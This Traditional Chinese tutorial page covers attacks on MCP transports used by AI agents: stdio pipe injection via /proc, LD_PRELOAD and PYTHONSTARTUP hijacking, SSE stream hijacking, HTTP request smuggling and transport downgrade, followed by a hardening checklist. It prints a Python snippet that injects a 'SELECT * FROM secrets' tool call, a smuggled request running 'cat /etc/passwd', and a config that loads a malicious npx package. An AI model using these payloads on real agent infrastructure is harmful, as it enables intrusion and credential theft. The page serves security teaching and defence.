MCP 傳輸層攻擊
攻擊 MCP 傳輸機制之方法論:stdio pipe 注入、SSE 串流劫持、HTTP request smuggling,以及傳輸降級攻擊。
MCP 傳輸層攻擊
MCP 通訊經由橋接 AI 客戶端與工具伺服器之傳輸通道(stdio pipe、SSE 串流、streamable HTTP)流動。入侵傳輸使攻擊者得以攔截、修改或注入訊息——無需利用 LLM 本身——運作於 JSON-RPC 協定層之下。
傳輸比較
| 傳輸 | 機制 | 關鍵攻擊向量 |
|---|---|---|
| stdio | 具 stdin/stdout pipe 之子程序 | 程序命名空間注入、共享 pipe 劫持、環境變數操弄 |
| SSE(舊版) | 請求用 HTTP POST,回應用 SSE | 串流接管、事件注入、重連競爭 |
| Streamable HTTP | 單一 HTTP 端點,可選 SSE | CL/TE request smuggling、H2C desync、session fixation |
方法論:stdio Pipe 注入
辨識伺服器程序
找到 MCP 伺服器 PID。它以客戶端之子程序執行。
經由 /proc/pid/fd/0 注入
於 Linux 上,若你具同使用者或 root 存取,經
/proc/<pid>/fd/0直接寫入伺服器之 stdin。送出換行分隔之 JSON-RPC 訊息。檢查共享 pipe 漏洞
尋找如
mcp-server | tee /var/log/mcp.log之模式——其中 pipe 被共享,或任何程序皆可寫入之命名 FIFO(mkfifo /tmp/mcp-pipe)。操弄環境變數
MCP 伺服器繼承客戶端之環境。控制
HOME(組態目錄)、LD_PRELOAD(函式庫注入)、NODE_PATH(模組劫持)或PYTHONSTARTUP(於啟動時之程式碼注入)。以訊號為本之中斷
SIGSTOP伺服器、於 stdin 注入資料,然後SIGCONT。若伺服器使用SIGUSR1重新載入組態,於修改組態檔後觸發之。
範例——經由 /proc 注入工具呼叫:
import os, json
stdin_path = f"/proc/{server_pid}/fd/0"
payload = {
"jsonrpc": "2.0", "id": 9999,
"method": "tools/call",
"params": {"name": "query_database",
"arguments": {"sql": "SELECT * FROM secrets"}}
}
with open(stdin_path, "w") as fd:
fd.write(json.dumps(payload) + "\n")環境變數攻擊面:
| 變數 | 效果 |
|---|---|
HOME | 將伺服器組態讀取重導至攻擊者可控目錄 |
LD_PRELOAD | 攔截 read/write syscall 以擷取 pipe 資料 |
NODE_PATH | 載入攻擊者之模組而非合法依賴 |
PYTHONSTARTUP | 於伺服器啟動時執行任意 Python |
方法論:SSE 串流劫持
嘗試未驗證 SSE 連線
連接至
/sse端點。若 session ID 可預測或驗證缺席,你收到所有伺服器到客戶端訊息。定位為事件注入之 MITM
代理 SSE 串流,轉發合法事件並注入額外事件(例如,於
tools/list回應後修改工具清單)。利用重連視窗
SSE 連線會掉線並重連。於重連視窗期間,競爭地經 DNS 投毒、ARP 偽造,或代理控制提供被投毒之串流。
於傳輸中修改請求
作為 MITM,於轉發前修改工具呼叫請求——例如,於通過之 SQL 查詢附加
UNION SELECT。
方法論:HTTP Request Smuggling
當 MCP streamable HTTP 端點位於反向代理之後時,CL/TE desync 啟動 request smuggling。
攻擊模式
前端使用 Content-Length,後端使用 Transfer-Encoding:
POST /mcp HTTP/1.1
Content-Length: 150
Transfer-Encoding: chunked
0
POST /mcp HTTP/1.1
Content-Type: application/json
Content-Length: 200
{"jsonrpc":"2.0","id":1,"method":"tools/call",
"params":{"name":"execute_command",
"arguments":{"cmd":"cat /etc/passwd"}}}
前端看到一個請求;後端看到兩個——第二個是被夾帶之工具呼叫。
若伺服器支援 HTTP/2 cleartext upgrade:
- 以
Upgrade: h2c送出 HTTP/1.1 升級請求 - 於
101 Switching Protocols時送出 HTTP/2 frame - 於新 HTTP/2 串流上夾帶 JSON-RPC 工具呼叫
這繞過僅檢視 HTTP/1.1 流量之前端代理安全控制。
MCP streamable HTTP 使用 Mcp-Session-Id header。若 session ID 可預測(例如時間戳之 MD5):
- 預測或暴力破解 session ID
- 連接至活躍會話以接收工具輸出
- 注入於受害者脈絡中執行之工具呼叫
或者,攔截初始化回應並替換 Mcp-Session-Id 值以固定會話。
方法論:傳輸降級
於 HTTP 可用時強制 stdio
修改客戶端組態以為應使用已驗證 HTTPS 之伺服器指定
"transport": "stdio"。這消除 TLS 加密、啟動程序層級注入,並繞過 HTTP 驗證。於 HTTP/2 可用時強制 HTTP/1.1
剝除 ALPN 協商或於客戶端組態設
http2=False。HTTP/1.1 啟動 HTTP/2 二進位 framing 所防止之 CL/TE request smuggling。
{
"mcpServers": {
"database-tools": {
"command": "npx",
"args": ["-y", "@malicious/mcp-server-database"],
"transport": "stdio"
}
}
}傳輸 Fuzzing 目標
於 fuzz MCP 傳輸實作時,測試這些邊界條件:
| 類別 | 測試案例 |
|---|---|
| 訊息 framing | 不完整 JSON、每 TCP segment 多個訊息、訊息中之 null byte |
| 大小限制 | 10MB+ 單一訊息、JSON 值中 10K+ 換行字元 |
| 編碼 | Unicode BOM 前綴、CRLF 注入、JSON 中之 chunked encoding |
| SSE 解析 | 無 data 欄位之事件、data 中嵌入換行、event ID 注入、將 retry 操弄至 0 |
| 協定混淆 | 將 SSE event type 設為「error」,reconnect URL 指向攻擊者 |
加固檢查清單
- 於獨立 PID 與 mount namespace 執行 MCP 伺服器
- 限制
/proc/<pid>/fd/之權限 - 即便於 stdio 上亦對 JSON-RPC 訊息 HMAC 簽章
- 對伺服器 stdin 之非預期寫入告警
- 對所有連線要求雙向 TLS
- 將會話綁定至客戶端 TLS 憑證指紋
- 於串流內對個別 JSON-RPC 訊息簽章
- 拒絕來自不同來源 IP 之 SSE 重連
- 停用 HTTP/1.1 以防止 CL/TE smuggling
- 對所有 HTTP 傳輸使用 TLS 1.3
- 於客戶端組態釘選憑證
- 為 MCP 流量進行網路分段
- 為 MCP 協定異常部署 IDS 規則
- 傳輸層之每會話與每 IP 速率限制
某 MCP 伺服器以 'mcp-server | tee /var/log/mcp.log' 啟動。主要安全風險為何?
相關主題
- MCP 工具面攻擊 -- 傳輸攻擊所補充之協定層 MCP 攻擊
- 代理攻擊 -- 超越傳輸之更廣代理攻擊面
- AI 基礎設施攻擊 -- 對模型服務端點之基礎設施層攻擊
- AI 應用安全 -- 與 HTTP smuggling 重疊之 Web 應用攻擊
參考資料
- Model Context Protocol Transport Specification(2025)
- Kettle,〈HTTP Desync Attacks: Request Smuggling Reborn〉(PortSwigger,2019)
- Kettle,〈HTTP/2: The Sequel Is Always Worse〉(PortSwigger,2021)
- NIST SP 800-52 Rev. 2,〈Guidelines for TLS Implementations〉
- CWE-444:Inconsistent Interpretation of HTTP Requests